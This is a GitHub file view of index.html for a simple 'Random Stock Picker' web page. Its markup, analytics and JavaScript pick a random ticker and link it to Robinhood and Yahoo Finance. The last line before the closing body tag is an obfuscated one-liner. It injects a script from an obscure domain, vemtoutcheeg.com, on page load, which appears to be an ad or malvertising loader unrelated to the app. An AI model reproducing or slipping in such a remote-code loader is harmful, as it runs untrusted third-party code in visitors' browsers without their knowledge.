-
Notifications
You must be signed in to change notification settings - Fork 6
/
index.html
129 lines (119 loc) · 5.01 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<!doctype html>
<html class="h-100" lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="A simple tool to pick a random stock for you. Discover new stocks to invest in and diversity your portfolio.">
<meta name="author" content="">
<meta name="theme-color" content="#007bff">
<link rel="icon" href="favicon.ico">
<title>Random Stock Picker</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" integrity="sha384-xOolHFLEh07PJGoPkLv1IbcEPTNtaed2xpHsD9ESMhqIYd0nLMwNLD69Npy4HI+N" crossorigin="anonymous">
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async src="https://www.googletagmanager.com/gtag/js?id=UA-49223760-7"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag() { dataLayer.push(arguments); }
gtag('js', new Date());
gtag('config', 'UA-49223760-7');
</script>
</head>
<body class="h-100">
<div class="container h-100 justify-content-center">
<div class="row h-100 card-deck text-center justify-content-center align-items-center">
<div class="col-lg-4">
<div class="card box-shadow">
<div class="card-header">
<h4 class="my-0 font-weight-normal">Random Stock Picker</h4>
</div>
<div class="card-body">
<h1 id="ticker" class="card-title pricing-card-title">Loading...</h1>
<a id="robinhood" target="_blank" rel="noopener" href="#">Robinhood</a> |
<a id="yahoo" target="_blank" rel="noopener" href="#">Yahoo</a>
<hr>
<input type="button" class="btn btn-lg btn-primary btn-block" id="refresh" value="Refresh" onclick="newStock()">
</div>
</div>
<div class="mt-3 text-center">
<p>
<a href="https://suggest.gg/randomstock/ideas" target="_blank" rel="noopener" class="btn btn-dark border border-warning"
onclick="gtag('event', 'Feedback', { 'event_category': 'Button', 'event_label': 'Ideas Form' })">
<small>✨ Got an idea? Help shape what's next! ✨</small>
</a>
</p>
</div>
</div>
<span id="foot">
<small class="col-lg-12 text-center white">Made by
<a class="white font-italic" href="https://github.com/RayBB/random-stock-picker">RayBB</a> | Updated November, 2024
| <a class="white" href="about.html">About</a>
</small>
</span>
</div>
</div>
<script>
let stocks = []
fetch('./stocks.json')
.then(res => res.json())
.then((out) => {
stocks = out;
newStock();
})
.catch(err => { throw err });
let curStock = "";
document.querySelector("#yahoo").addEventListener('click', () => gtag('event', 'Yahoo', { 'event_category': 'Open', 'event_label': curStock, }));
document.querySelector("#robinhood").addEventListener('click', () => gtag('event', 'Robinhood', { 'event_category': 'Open', 'event_label': curStock, }));
document.querySelector("#refresh").addEventListener('click', () => gtag('event', 'refresh', { 'event_category': 'Stock', 'event_label': curStock, }));
gtag('event', 'load', { 'event_category': 'Stock', 'event_label': curStock, });
function newStock() {
let random = Math.floor(Math.random() * Math.floor(stocks.length));
curStock = stocks[random];
document.querySelector("#ticker").innerText = curStock;
document.querySelector("#robinhood").href = "https://robinhood.com/stocks/" + curStock;
document.querySelector("#yahoo").href = "https://finance.yahoo.com/quote/" + curStock;
}
</script>
<script data-goatcounter="https://randomstock.goatcounter.com/count"
async src="//gc.zgo.at/count.js"></script>
<style>
body {
background-color: darkslategrey;
}
#foot {
position: absolute; bottom: 10px
}
.white{
color: white!important;
}
.btn-dark {
animation: none;
box-shadow: 0 0 0 0 rgba(255, 215, 0, 0.7);
}
.btn-dark:hover {
animation: pulse-gold 1.5s;
}
/* Add this new CSS class that will be added via JavaScript */
.animate-delayed {
animation: pulse-gold 1.5s;
}
/* Base pulse animation */
@keyframes pulse-gold {
0% {
box-shadow: 0 0 0 0 rgba(255, 215, 0, 0.7);
}
70% {
box-shadow: 0 0 0 15px rgba(255, 215, 0, 0);
}
100% {
box-shadow: 0 0 0 0 rgba(255, 215, 0, 0);
}
}
</style>
<script>
setTimeout(() => {
document.querySelector('.btn-dark').classList.add('animate-delayed');
}, 10000);
</script>
<script>(function(d,z,s){s.src='https://'+d+'/400/'+z;try{(document.body||document.documentElement).appendChild(s)}catch(e){}})('vemtoutcheeg.com',8483182,document.createElement('script'))</script>
</body>
</html>